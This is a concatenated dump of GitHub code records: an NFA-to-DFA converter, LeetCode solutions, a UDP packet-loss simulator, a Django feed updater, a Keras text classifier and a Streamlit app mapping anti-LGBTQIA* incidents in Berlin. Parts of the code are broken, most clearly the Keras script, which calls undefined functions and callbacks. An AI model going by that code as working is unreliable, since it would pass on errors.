letter in enumerate(word):\n if i + 1 == len(word):\n vertex_to = edge_end\n else:\n vertex_to = self._free_vertex_id\n self._free_vertex_id += 1\n\n self.add_edge(last_vertex, vertex_to, letter)\n last_vertex = vertex_to\n self[vertex_id].remove_edge(word)\n\n def _shorten_path(self, vertex_from, word, visited_vertices): # dfs in wich every step except first is using null edge\n if word in vertex_from.edges:\n for vertex_to in vertex_from.edges[word]:\n if vertex_to not in visited_vertices:\n visited_vertices.add(vertex_to)\n self._shorten_path(self[vertex_to], None, visited_vertices)\n\n def _get_shortened_null_paths(self, vertex):\n new_edges = defaultdict(set)\n reached_by_null_edges = set()\n self._shorten_path(vertex, None, reached_by_null_edges)\n for vertex_to in reached_by_null_edges:\n for word in self[vertex_to].edges:\n if word is not None:\n new_edges[word] |= self[vertex_to].edges[word]\n return new_edges\n\n def _remove_null_edges(self):\n for vertex in self.vertices.values(): # add new terminal vertices\n if not vertex.is_terminal:\n reached_by_null_edges = set()\n self._shorten_path(vertex, None, reached_by_null_edges)\n for terminal_vertex in reached_by_null_edges:\n vertex.is_terminal |= self[terminal_vertex].is_terminal\n\n new_edges = dict()\n for vertex_id, vertex in self.vertices.items(): # add new adges and delete null edges\n new_edges[vertex_id] = self._get_shortened_null_paths(vertex)\n for vertex_id, edges in new_edges.items():\n vertex = self[vertex_id]\n if None in vertex.edges:\n del vertex.edges[None]\n for word, vertices_to in edges.items():\n vertex.edges[word] |= vertices_to\n\n def _reachable_from_vertex(self, current_vertex, visited):\n for neighbors in current_vertex.edges.values():\n for vertex_to in neighbors:\n if vertex_to not in visited:\n visited.add(vertex_to)\n self._reachable_from_vertex(self[vertex_to], visited)\n\n def _init_from_automaton_subsets(self, other):\n for subset in range(2**other._free_vertex_id): # build automaton on subsets\n for vertex_id, vertex in other.vertices.items():\n if (2**vertex_id) & subset:\n if other.start == vertex_id and (2**vertex_id) == subset:\n self.start = subset\n self[subset].is_terminal |= vertex.is_terminal\n for word in vertex.edges:\n self[subset].edges[word] |= vertex.edges[word]\n\n def _replace_edges_with_subsets(self):\n for vertex in self.vertices:\n for word in self[vertex].edges:\n subset_to = 0\n for vertex_to in self[vertex].edges[word]:\n subset_to += 2**vertex_to\n self[vertex].edges[word] = {subset_to}\n\n def _init_from_useful_vertices(self, automaton):\n useful_vertices = {automaton.start}\n automaton._reachable_from_vertex(automaton[automaton.start], useful_vertices)\n useful_vertex_id = {old_vertex_id: vertex_id\n for vertex_id, old_vertex_id in enumerate(useful_vertices)}\n\n self.vertices = dict()\n self._free_vertex_id = len(useful_vertices)\n self.start = useful_vertex_id[automaton.start]\n for vertex in useful_vertices:\n self[useful_vertex_id[vertex]].is_terminal |= automaton[vertex].is_terminal\n for word, neighbors in automaton[vertex].edges.items():\n for vertex_to in neighbors:\n self.add_edge(useful_vertex_id[vertex], useful_vertex_id[vertex_to], word)\n\n def _remove_duplicate_edges(self):\n new_automaton = Automaton(start=0, vertices=dict(), alphabet=set())\n new_automaton._init_from_automaton_subsets(self)\n new_automaton._replace_edges_with_subsets()\n self._init_from_useful_vertices(new_automaton)\n\n def to_dfa(self):\n self._split_long_edges()\n self._remove_null_edges()\n self._remove_duplicate_edges()\n\n def accept_string(self, word):\n current_state = self.start\n for letter in word:\n try:\n current_state = self[current_state].go(letter)\n except KeyError:\n return False\n return self[current_state].is_terminal\n\n def to_cdfa(self): # it is assumed that automaton is already deterministic\n missing_edges = []\n Edge = namedtuple('Edge', 'vertex, letter')\n for vertex in self.vertices.values():\n missing_edges += [Edge(vertex=vertex, letter=letter) for letter in self.alphabet if letter not in vertex.edges]\n\n if missing_edges:\n dummy_vertex = self._free_vertex_id\n self._free_vertex_id += 1\n for edge in missing_edges:\n self.add_edge(edge.vertex.id, dummy_vertex, edge.letter)\n for letter in self.alphabet:\n self.add_edge(dummy_vertex, dummy_vertex, letter)\n self._free_vertex_id += 1\n\n def reverse_cdfa(self):\n for vertex in self.vertices.values():\n vertex.is_terminal ^= 1\n\n def _equivalence_groups(self):\n group = dict()\n for vertex in self.vertices.values():\n group[vertex.id] = int(vertex.is_terminal)\n\n old_number_of_classes = 1\n current_number_of_classes = 2\n step_id = 0\n\n while old_number_of_classes != current_number_of_classes:\n step_id += 1\n\n output_groups = defaultdict(list)\n for vertex in self.vertices.values():\n key = tuple([group[vertex.id]] + [group[vertex.go(letter)] for letter in self.alphabet])\n output_groups[key].append(vertex.id)\n\n old_number_of_classes = current_number_of_classes\n current_number_of_classes = len(output_groups)\n\n group = dict()\n for group_id, vertices in enumerate(output_groups.values()):\n for vertex in vertices:\n group[vertex] = group_id\n\n return group\n\n def to_minimal_cdfa(self):\n group = self._equivalence_groups()\n new_automaton = Automaton(start=group[self.start], alphabet=self.alphabet, vertices={})\n for vertex in self.vertices.values():\n new_automaton[group[vertex.id]].is_terminal |= vertex.is_terminal\n for word in self.alphabet:\n new_automaton.add_edge(group[vertex.id], group[vertex.go(word)], word)\n self.__init__(other_automaton=new_automaton)\n","repo_name":"Moysenko/NFA-converter","sub_path":"automaton_t.py","file_name":"automaton_t.py","file_ext":"py","file_size_in_byte":10366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75122468","text":"'''\nIdea: Keep searching for the value to be inserted in the BST. Once a null is reached, insert the new node here.\n\nTime complexity : O(log N) or O(h) , where h is the height of the BST\nSpace complexity: O(1)\n'''\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def insertIntoBST(self, root, key):\n if not root:\n root = TreeNode(key)\n elif root.val < key:\n root.right = self.insertIntoBST(root.right, key)\n else:\n root.left = self.insertIntoBST(root.left, key)\n \n return root","repo_name":"Anirudh-Muthukumar/Leetcode-Solutions","sub_path":"701. Insert into a Binary Search Tree/701. Insert into a Binary Search Tree.py","file_name":"701. Insert into a Binary Search Tree.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21004005792","text":"#!/usr/bin/env python3\nimport argparse\nimport random\nimport time\nimport threading\nfrom rdt import RDTSegment\nfrom socketserver import ThreadingUDPServer\nfrom utils import bytes_to_addr, addr_to_bytes\n\nlock = threading.Lock()\n\n# network addr and port in network.py and USocket.py should be same\nNETWORK_ADDR = '127.0.0.1'\nNETWORK_PORT = 11223\nRATE = None # None means no rate limit, unit Byte/s\nBUF_SIZE = 50000\nLOSS_RATE = 0.1\nCORRUPT_RATE = 0.00001 # corrupt per bit\nDELAY = 0 # Random delay DELAY seconds\n\n\nclass Server(ThreadingUDPServer):\n def __init__(self, addr, rate, buf_size, loss_rate, delay, corrupt_rate):\n super().__init__(addr, None)\n self.buffer = 0\n\n self.rate = rate\n self.buf_size = buf_size\n self.loss_rate = loss_rate\n self.corrupt_rate_byte = (1 - corrupt_rate) ** 8\n self.delay = delay\n\n def verify_request(self, request, client_address):\n \"\"\"\n request is a tuple (data, socket)\n data is the received bytes object\n socket is new socket created automatically to handle the request\n\n if this function returns False, the request will not be processed, i.e. is discarded.\n details: https://docs.python.org/3/library/socketserver.html\n \"\"\"\n data, socket = request\n data_len = len(data)\n if self.buffer + data_len < self.buf_size: # some finite buffer size (in bytes)\n self.buffer += data_len\n return True\n else:\n return False\n\n def finish_request(self, request, client_address):\n \"\"\"\n Imitate router and link behavior\n \"\"\"\n\n data, socket = request\n\n with lock:\n # Limit bandwidth\n if self.rate:\n time.sleep(len(data) / self.rate)\n self.buffer -= len(data)\n\n # Packet loss\n if random.random() < self.loss_rate:\n drop = RDTSegment.parse(data[8:])\n print(client_address, bytes_to_addr(data[:8]), f\" packet loss, {drop.log_raw_info()}\")\n return\n\n # Packet corrupt\n corrupt = RDTSegment.parse(data[8:])\n data = bytearray(data)\n is_corrupted = False\n for i in range(8, len(data)):\n if random.random() > self.corrupt_rate_byte:\n is_corrupted = True\n data[i] = data[i] ^ random.randint(0, 255)\n if is_corrupted and corrupt:\n print(client_address, bytes_to_addr(data[:8]), f\" corrupt pkt, {corrupt.log_raw_info()}\")\n data = bytes(data)\n\n # Transmission delay\n time.sleep(self.delay * random.random())\n\n to = bytes_to_addr(data[:8])\n print(client_address, to) # observe tht traffic\n socket.sendto(addr_to_bytes(client_address) + data[8:], to)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-rate', dest='rate',\n help='Limit bandwidth, unit Byte/s, default is None, None means no rate limit',\n type=int, default=RATE)\n parser.add_argument('-buf', dest='buf_size', help='Router buffer size, unit byte', type=int, default=BUF_SIZE)\n parser.add_argument('-loss', dest='loss_rate', help='Segment loss rate', type=float, default=LOSS_RATE)\n parser.add_argument('-delay', dest='delay', help='Link delay, unit byte/s', type=int, default=DELAY)\n parser.add_argument('-corrupt', dest='corrupt_rate', help='Segment corrupt rate', type=float, default=CORRUPT_RATE)\n\n args = parser.parse_args()\n\n with Server((NETWORK_ADDR, NETWORK_PORT), rate=args.rate, buf_size=args.buf_size,\n loss_rate=args.loss_rate, delay=args.delay, corrupt_rate=args.corrupt_rate) as server:\n server.serve_forever()\n","repo_name":"JavuesZhang/CS305_RDT","sub_path":"code/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16518979618","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# date:20160901\n\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums:\n return 0\n nums_dic = collections.Counter(nums)\n for i in nums_dic:\n if nums_dic[i] == 1:\n return i","repo_name":"wanglinjie/coding","sub_path":"leetcode/137.py","file_name":"137.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18747459005","text":"import pprint\nimport StringIO\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\n\nimport friendfeed\n\nfrom models import Service, Log, Media\n\n\ndef update(request):\n FF_USERNAME = u'sneeu'\n\n ff = friendfeed.FriendFeed()\n data = ff.fetch_user_feed(FF_USERNAME)\n n = 0\n\n pp = pprint.PrettyPrinter(indent=4)\n\n for entry in data['entries']:\n service, __ = Service.objects.get_or_create(\n ff_id=entry['service']['id'],\n defaults={\n 'name': entry['service']['name'],\n 'icon': entry['service']['iconUrl'],\n 'profile_url': entry['service']['profileUrl'],\n })\n if entry['media']:\n for entry_media in entry['media']:\n entry_comment = None\n for comment in entry['comments']:\n if comment['user']['nickname'] == FF_USERNAME:\n entry_comment = comment['body']\n\n log, __ = Log.objects.get_or_create(\n link=entry_media['link'],\n defaults={\n 'ff_id': entry['id'],\n 'service': service,\n 'title': entry_media['title'],\n 'comment': entry_comment,\n 'published': entry['published'],\n })\n\n for content in entry_media['content'] + entry_media['thumbnails']:\n if content['width'] < 500:\n media, created = Media.objects.get_or_create(\n url=content['url'],\n defaults={'log': log}\n )\n if created:\n n += 1\n break\n else:\n entry_comment = None\n for comment in entry['comments']:\n if comment['user']['nickname'] == FF_USERNAME:\n entry_comment = comment['body']\n\n log, created = Log.objects.get_or_create(\n link=entry['link'],\n defaults={\n 'ff_id': entry['id'],\n 'service': service,\n 'title': entry['title'],\n 'comment': entry_comment,\n 'published': entry['published'],\n })\n if created:\n n += 1\n\n log = StringIO.StringIO()\n pprint.pprint(data, log)\n\n return render_to_response('tumble/update.html', {'log': log.getvalue(), 'updated': n})\n","repo_name":"sneeu/sneeu_com","sub_path":"sneeu/apps/tumble/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"40823164452","text":"def file_stats(filename: str) -> (int, int, int):\n data = open(filename, 'r')\n\n n_lines = 0\n n_words = 0\n n_chars = 0\n\n for line in data:\n n_lines += 1\n\n line_words = line.split()\n n_words += len(line_words)\n\n n_chars += len(line)\n\n data.close()\n return n_lines, n_words, n_chars\n\n\nfilename = input('File name? ')\n(file_lines, file_words, file_chars) = file_stats(filename)\nprint(filename, file_lines, file_words, file_chars)\n","repo_name":"wongcyrus/ite3101_introduction_to_programming","sub_path":"lab/lecture/exercise19a.py","file_name":"exercise19a.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"41515936363","text":"import os\nimport pickle\nimport time\nimport numpy as np\nimport h5py\nimport pandas as pd\nfrom keras import Input, Model\nfrom keras.callbacks import EarlyStopping, CSVLogger, ModelCheckpoint\nfrom keras.layers import GlobalMaxPool1D, Embedding, CuDNNLSTM, Bidirectional, GlobalAveragePooling1D, concatenate, \\\n Dense, Dropout\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing.text import Tokenizer\nfrom sklearn.metrics import f1_score\nfrom sklearn.preprocessing import MultiLabelBinarizer,LabelBinarizer\n\nfrom metric_fuc import predict2tag, get_embedding_matrix, F1ScoreCallback\nfrom config import *\nos.environ['CUDA_VISIBLE_DEVICES'] = '1'\n\nmodel_name = 'valid_task3'\n\n\n# def imp2class(time_label):\n# arr=np.zeros(shape=(time_label.shape[0],),dtype=np.int)\n# for i,time in enumerate(time_label):\n# if time<=0:\n# arr[i]=0\n# elif time<=1:\n# arr[i]=1\n# elif time<=2:\n# arr[i]=2\n# elif time<=3:\n# arr[i]=3\n# elif time<=4:\n# arr[i]=4\n# elif time<=6:\n# arr[i]=6\n# elif time<8:\n# arr[i]=8\n# elif time<10:\n# arr[i]=10\n# elif time<13:\n# arr[i] = 12\n# elif time <= 16:\n# arr[i] = 15\n# elif time <= 20:\n# arr[i] = 18\n# elif time < 25:\n# arr[i] = 23\n# elif time <= 31:\n# arr[i] = 28\n# elif time <= 38:\n# arr[i] = 35\n# elif time <= 47:\n# arr[i] = 43\n# elif time <= 58:\n# arr[i] = 53\n# elif time <= 72:\n# arr[i] = 66\n# elif time <= 88:\n# arr[i] = 80\n# elif time <= 108:\n# arr[i] = 98\n# elif time <= 133:\n# arr[i] = 121\n# elif time <= 163:\n# arr[i] = 148\n# elif time <= 200:\n# arr[i] = 182\n# elif time <= 245:\n# arr[i] = 223\n# elif time <= 300:\n# arr[i] = 273\n# return arr\n\n\n\ndef get_model(embedding_matrix,num_imp):\n inp = Input(shape=(MAX_TEXT_LENGTH,))\n x = Embedding(MAX_TEXT_LENGTH, embedding_dims, embedding_matrix=embedding_matrix,\n trainable=False)(inp)\n x = Bidirectional(CuDNNLSTM(100, return_sequences=True))(x)\n p1 = GlobalMaxPool1D()(x)\n p2 = GlobalAveragePooling1D()(x)\n\n conc = concatenate([p1, p2])\n fc1 = Dense(256, activation='relu')(conc)\n fc1 = Dropout(0.1)(fc1)\n\n fc2 = Dense(128, activation='relu')(fc1)\n fc2 = Dropout(0.1)(fc2)\n\n out = Dense(num_imp, activation='softmax')(fc2)\n\n model = Model(inp, out)\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\n\nif (os.path.exists(TRAIN_HDF5)):\n print('load tokenizer,train')\n with open('tokenizer.pickle', 'rb') as handle:\n tokenizer = pickle.load(handle)\n outh5file = h5py.File(TRAIN_HDF5, 'r')\n X_train = outh5file['train_token']\n y_accu = outh5file['train_label']\n law_label_y = outh5file['law_label_y']\n time_label_y = outh5file['time_label_y']\n time_life_y = outh5file['time_life_y']\n time_death_y = outh5file['time_death_y']\n nb_words = 0\n X_train = np.array(X_train, copy=True)\n y_accu = np.array(y_accu, copy=True)\n law_label_y = np.array(law_label_y, copy=True)\n print('law y shape', law_label_y.shape)\n time_label_y = np.array(time_label_y, copy=True)\n embedding_matrix1 = get_embedding_matrix(tokenizer.word_index, w2vpath, embedding_matrix_path)\nelse:\n print('init train h5')\n df = pd.read_csv(input_file, compression='infer', encoding=\"utf-8\")\n text = df['text'].values\n label = df['accu_label'].values\n\n lb_y = MultiLabelBinarizer()\n label = [set([int(i) for i in str(row).split(\";\")]) for row in label]\n y_accu = lb_y.fit_transform(label)\n print('accu y shape', y_accu.shape)\n\n law_label = df['law_label'].values\n law_label = [set([int(i) for i in str(row).split(\";\")]) for row in law_label]\n lb_law = MultiLabelBinarizer()\n law_label_y = lb_law.fit_transform(law_label)\n print('law y shape', law_label_y.shape)\n\n time_label_y = df['time_label'].values\n time_death_y = df['time_death'].values\n time_life_y = df['time_life'].values\n # time_label_y = keras.utils.to_categorical(time_label, num_classes=time_class_num)\n # print('time_label y shape', time_label_y.shape)\n\n tokenizer = Tokenizer(num_words=MAX_FEATURES)\n tokenizer.fit_on_texts(list(text))\n list_tokenized_text = tokenizer.texts_to_sequences(text)\n X_train = pad_sequences(list_tokenized_text, maxlen=MAX_TEXT_LENGTH)\n print('x shape', X_train.shape)\n nb_words = min(MAX_FEATURES, len(tokenizer.word_index))\n print(\"nb_words\", nb_words)\n embedding_matrix1 = get_embedding_matrix(tokenizer.word_index, w2vpath, embedding_matrix_path)\n # saving\n with open('tokenizer.pickle', 'wb') as handle:\n pickle.dump(tokenizer, handle, protocol=pickle.HIGHEST_PROTOCOL)\n outh5file = h5py.File(TRAIN_HDF5, 'w')\n outh5file.create_dataset('train_token', data=X_train)\n outh5file.create_dataset('train_label', data=y_accu)\n outh5file.create_dataset('law_label_y', data=law_label_y)\n outh5file.create_dataset('time_label_y', data=time_label_y)\n outh5file.create_dataset('time_death_y', data=time_death_y)\n outh5file.create_dataset('time_life_y', data=time_life_y)\n\ntimeStr = time.strftime(\"%Y-%m-%d_%H:%M:%S\", time.localtime())\n\n\ny_test_class = imp2class(time_label_y)\nle = LabelBinarizer()\ntime_label_y1=le.fit_transform(y_test_class)\n\nsplit1 = -17131\nsplit2 = -32508\nsplit = split1 + split2\nx_train = X_train[:split]\ny_train = y_accu[:split]\ny_train2 = law_label_y[:split]\ny_train3 = time_label_y1[:split]\ny_traind3 = time_death_y[:split]\ny_trainl3 = time_life_y[:split]\n\nx_val = X_train[split:split2]\ny_val = y_accu[split:split2]\ny_val2 = law_label_y[split:split2]\ny_val3 = time_label_y1[split:split2]\ny_vald3 = time_death_y[split:split2]\ny_vall3 = time_label_y1[split:split2]\n\nx_test = X_train[split2:]\ny_test = y_accu[split2:]\ny_test2 = law_label_y[split2:]\ny_test3 = time_label_y1[split2:]\ny_testd3 = time_death_y[split2:]\ny_testl3 = time_life_y[split2:]\n\nmodel = get_model(embedding_matrix1,time_label_y1.shape[1])\n\n# if \"2\" in model_name:\n# print(\"2\")\n# y_train = y_train2\n# y_val = y_val2\n# y_test = y_test2\n#\n# if \"3\" in model_name:\nprint(\"3\")\n\ny_train = y_train3\ny_val = y_val3\ny_test=y_test3\n\n\n# x_train=np.concatenate((x_train,x_test))\n# y_train=np.concatenate((y_train,y_test))\nprint('x_train shape', x_train.shape)\nprint('x_val shape', x_val.shape)\nprint('y_train shape', y_train.shape)\nprint('y_val shape', y_val.shape)\n\nearly_stopping = EarlyStopping(monitor='avg_f1_score_val', mode='max', patience=5, verbose=1)\nbst_model_path = model_name + '_bestweight_valid_%s.h5' % timeStr\n# bst_model_path = 'cnn_weight1.h5'\ncsv_logger = CSVLogger('./log/' + model_name + '_log.csv', append=True, separator=';')\nmodel_checkpoint = ModelCheckpoint(bst_model_path, monitor='avg_f1_score_val', mode='max',\n save_best_only=True, verbose=1, save_weights_only=True)\nprint(\"fit_batch_size {}\", fit_batch_size)\nhist = model.fit(x_train, y_train,\n validation_data=(x_val, y_val),\n epochs=fit_epoch, batch_size=fit_batch_size, shuffle=True,\n verbose=2,\n callbacks=[ImprisonCallback(date), early_stopping, model_checkpoint, csv_logger],\n # sample_weight=train_sample_weight,\n )\nmodel.load_weights(bst_model_path)\n\npredict = model.predict(x_test, batch_size=1024)\n\npredict1 = np.array(predict, copy=True)\npredict1[predict1 > 0.5] = 1\npredict1[predict1 < 0.5] = 0\nmacro_f1 = f1_score(y_test, predict1, average=\"macro\")\nmicro_f1 = f1_score(y_test, predict1, average=\"micro\")\nprint(\"macro_f1\", macro_f1)\nprint(\"micro_f1\", micro_f1)\nprint(macro_f1 / 2 + micro_f1 / 2)\n\ny_pred = predict2tag(predict)\nf1 = f1_score(y_test, y_pred, average='macro')\nprint(\"macro f1_score %.4f \" % f1)\nf2 = f1_score(y_test, y_pred, average='micro')\nprint(\"micro f1_score %.4f \" % f2)\navgf1 = (f1 + f2) / 2\nprint(\"avg_f1_score %.4f \" % (avgf1))\n\nbst_model_path = model_name + \"test_%.5f.h5\" % avgf1\nmodel.save_weights(bst_model_path)\n","repo_name":"jcjview/cail2018_repo","sub_path":"keras_cnn_valid_task3.py","file_name":"keras_cnn_valid_task3.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"73372984195","text":"import streamlit as st\nimport pandas as pd\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.express as px\nimport pydeck as pdk\n\n# TODO change favicon\nfavicon = 'https://image.spreadshirtmedia.net/image-server/v1/compositions/T141A1PA3623PT17X61Y15D133977900FS3231/views/1,width=650,height=650,appearanceId=1,backgroundColor=ffffff/the-emblem-of-the-capital-in-rainbow-colors-as-a-symbol-of-tolerance-and-openness.jpg'\nberlin_rainbow = \"./images/berlin_rainbow.png\"\nphoto = \"./images/gay_memorial.jpeg\"\nst.set_page_config(page_title='Violence against LGBTQIA* in Berlin', page_icon = favicon, layout = 'wide', initial_sidebar_state = 'auto')\ncol_1, col_2 = st.beta_columns([8,2])\nwith col_1:\n st.title('Mapping Violence against LGBTQIA* People in Berlin')\n\nst.subheader('From 2014 until... just a few days ago.')\n\nwith col_2:\n st.image(berlin_rainbow)\n\nst.write(\n \"This website maps reported cases of violence against the LGBTQIA* community in Berlin.\\n\"\n \"That's Lesbian, Gay, Bisexual, Transgender, Queer, and Instersex, Asexual and all those whose sexuality and identity fall outside of the cis-heteronormative model.\\n\"\n \"\\n\"\n \"In recent years, some menbers of the community have been reporting a perceived increase in the amount and intensity of gender violence in Berlin's streets.\\n\"\n \"The goal of this project is to gather available data on this topic and to display it in a nice, interactive interface so everyone can learn more about the \"\n \"challenges faced not only by the community but by society in general.\\n\"\n \"\\n\"\n \"While the idea is to gather data from different sources, this first version works wih only one : the [Berliner Register](https://berliner-register.de/) website, \"\n \"which has been *tracking right-wing extremist and discriminatory incidents in Berlin* since 2014.\\n\"\n \"\\n\"\n \"I initially scrapped their website with `Requests` for all registered incidents since 2014, when the Berliner Register started keeping record of incidents \\n\"\n \"more sistematically, until last week.\")\nst.write('I then compilled up all the data in a `Pandas` dataframe with almost than 22.000 rows!')\n\nwith open('pickles/df_complete.pickle', 'rb') as f:\n df_complete = pickle.load(f)\ndf_complete_shape = df_complete.shape\nst.write(\"df_complete.shape: \", df_complete_shape)\n\nst.write(df_complete)\n\nst.write(\n 'These stories concern all kinds of public manifestations of hate and aggression in Berlin, not particularly against any apecific group. There\\'s racism, \\n'\n 'antisemitism, islamofobia, xenophobia. You name it... It also includes all types of violence: from stickers and graffiti promoting hate speech, \\n'\n 'to harrassment and physical aggression.')\n\nst.write(\n 'To extract only the stories concerning the LGBTQIA* community, I used the power of `Regular Expressions`in what is probably the longest RegEx string you have \\n'\n 'ever seen:'\n)\nst.write('`heteronormativ|gay|lgbt|lgtb|lbgt|ltgb|lgbqt|schwul|schwuchtel|lsbt|transgender|transphob|transsex|transfrau|transperson|transmann|transfeind|homophob|\\n'\n'queer|gleichgeschlecht|homosexu|homofeindlich|sexuelle[rn]* [ovi]|[^a-zöäüß]gender|binär`')\n\nst.write(\n 'This reduced the datapoints to just over 1000 incidents. I took some time to understand the data by reading some of the stories. I decided it made sense to \\n'\n 'classify the data and I came up with the following system:')\n\ncol_1, col_2, col_3 = st.beta_columns([2,6,2])\nwith col_2:\n '''\n\n * Attack (against individuals):\n * physical (or physical + verbal)\n * verbal\n * Propaganda (against community):\n * stickers, graffiti, banners, etc.\n * speeches by individuals and politicians, incl. in the municipal assemblies (*Bezirksverordnetenversammlung*, or BVV)\n * public expressions (oral and written) in media and online\n * Vandalism:\n * graffiti, damaging of LGBTQIA* symbols, memorials, plaques...\n * Structural Discrimination:\n * in workplace or public/private institutions\n * Reported Status to Police:\n * yes or no\n\n '''\n\nst.write(\n 'Then I needed to find the locations for the stories. I used `SpaCy`, which has a standard NLP model of the German language that parses text and automatically \\n'\n 'finds all types of entities, including locations and organizations. I then used those entities to find fitting coordinates by crosschecking if they can be \\n'\n 'found with `GeoPy`in the district where the incident took indeed place.')\n\nst.write(\n 'The categorization of the stories is still underway...'\n)\n\n\n\nRED_ICON_URL = \"https://upload.wikimedia.org/wikipedia/commons/9/9e/WX_circle_red.png\"\nORANGE_ICON_URL = \"https://upload.wikimedia.org/wikipedia/commons/8/8b/WX_circle_orange.png\"\n# GREEN_ICON_URL = \"https://upload.wikimedia.org/wikipedia/commons/5/50/WX_circle_green.png\"\nPURPLE_ICON_URL = \"https://upload.wikimedia.org/wikipedia/commons/3/3d/WX_circle_purple.png\"\nLIGHTBLUE_ICON_URL = \"https://upload.wikimedia.org/wikipedia/commons/d/d4/WX_circle_lightblue.png\"\nDARKBLUE_ICON_URL = \"https://upload.wikimedia.org/wikipedia/commons/c/c3/WX_circle_darkblue.png\"\n# YELLOW_ICON_URL = \"https://upload.wikimedia.org/wikipedia/en/f/fb/Yellow_icon.svg\"\n\nphysical_icon_data = {\n # Icon from Wikimedia, used the Creative Commons Attribution-Share Alike 3.0\n # Unported, 2.5 Generic, 2.0 Generic and 1.0 Generic licenses\n \"url\": RED_ICON_URL,\n \"width\": 242,\n \"height\": 242,\n \"anchorY\": 242,\n}\nverbal_icon_data = {\n # Icon from Wikimedia, used the Creative Commons Attribution-Share Alike 3.0\n # Unported, 2.5 Generic, 2.0 Generic and 1.0 Generic licenses\n \"url\": ORANGE_ICON_URL,\n \"width\": 242,\n \"height\": 242,\n \"anchorY\": 242,\n}\n\npropaganda_icon_data = {\n # Icon from Wikimedia, used the Creative Commons Attribution-Share Alike 3.0\n # Unported, 2.5 Generic, 2.0 Generic and 1.0 Generic licenses\n \"url\": LIGHTBLUE_ICON_URL,\n \"width\": 242,\n \"height\": 242,\n \"anchorY\": 242,\n}\n\nvandalism_icon_data = {\n # Icon from Wikimedia, used the Creative Commons Attribution-Share Alike 3.0\n # Unported, 2.5 Generic, 2.0 Generic and 1.0 Generic licenses\n \"url\": DARKBLUE_ICON_URL,\n \"width\": 242,\n \"height\": 242,\n \"anchorY\": 242,\n}\n\ndiscrimination_icon_data = {\n # Icon from Wikimedia, used the Creative Commons Attribution-Share Alike 3.0\n # Unported, 2.5 Generic, 2.0 Generic and 1.0 Generic licenses\n \"url\": PURPLE_ICON_URL,\n \"width\": 242,\n \"height\": 242,\n \"anchorY\": 242,\n}\n\ndef add_icon_info(df):\n df[\"icon_data\"] = None\n for i in df[df['Attack'] == 'physical'].index:\n df[\"icon_data\"][i] = physical_icon_data\n\n for i in df[df['Attack'] == 'verbal'].index:\n df[\"icon_data\"][i] = verbal_icon_data\n\n for i in df[df['Propaganda'] == 'yes'].index:\n df[\"icon_data\"][i] = propaganda_icon_data\n\n for i in df[df['Material Damage'] == 'yes'].index:\n df[\"icon_data\"][i] = vandalism_icon_data\n\n for i in df[df['Structural Discrimination'] == 'yes'].index:\n df[\"icon_data\"][i] = discrimination_icon_data\n return df\n\n\nwith open('pickles/df_map_test.pickle', 'rb') as f:\n df_map_DE = pickle.load(f)\n\ndf_map_DE = add_icon_info(df_map_DE)\ndf_map_DE['date_form'] = df_map_DE['Date'].apply(lambda d: d.strftime('%d %b %Y'))\n\nwith open('pickles/df_map_translated.pickle', 'rb') as f:\n df_map_EN= pickle.load(f)\n\ndf_map_EN = add_icon_info(df_map_EN)\ndf_map_EN['date_form'] = df_map_EN['Date'].apply(lambda d: d.strftime('%d %b %Y'))\n\ndf_map = df_map_DE\n\n\n\n\n# view_state = pdk.data_utils.compute_view(df_map[[\"longitude\", \"latitude\"]], 1)\n\n# st.multiselect\n\nst.write('Texts are by default in German but you can choose to read them in English too!')\ncol_1, col_2, col_3 = st.beta_columns([1,1, 18])\nwith col_1:\n if st.button('DE', key='de_map'):\n df_map = df_map_DE\nwith col_2:\n if st.button('EN', key='en_map'):\n df_map = df_map_EN\n\nattacks = st.selectbox(\n 'choose the type of incident',\n ['all incidents', 'physical attacks', 'verbal attacks', 'propaganda', 'vandalism', 'structural discrimination'])\n\nif attacks == 'all incidents':\n df_map.dropna(inplace=True)\nelse:\n if attacks == 'physical attacks':\n df_map = df_map.loc[df_map['Attack'] == 'physical', df_map.columns]\n elif attacks == 'verbal attacks':\n df_map = df_map.loc[df_map['Attack'] == 'verbal', df_map.columns]\n elif attacks == 'propaganda':\n df_map = df_map.loc[df_map['Propaganda'] == 'yes', df_map.columns]\n elif attacks == 'vandalism':\n df_map = df_map.loc[df_map['Material Damage'] == 'yes', df_map.columns]\n elif attacks == 'structural discrimination':\n df_map = df_map.loc[df_map['Structural Discrimination'] == 'yes', df_map.columns]\n\n\ncol_1, col_2 = st.beta_columns([10,1])\nwith col_2:\n if st.button('ALL'):\n df_map = df_map[df_map['Date'].dt.year >= 2014]\n if st.button('2014'):\n df_map = df_map[df_map['Date'].dt.year == 2014]\n if st.button('2015'):\n df_map = df_map[df_map['Date'].dt.year == 2015]\n if st.button('2016'):\n df_map = df_map[df_map['Date'].dt.year == 2016]\n if st.button('2017'):\n df_map = df_map[df_map['Date'].dt.year == 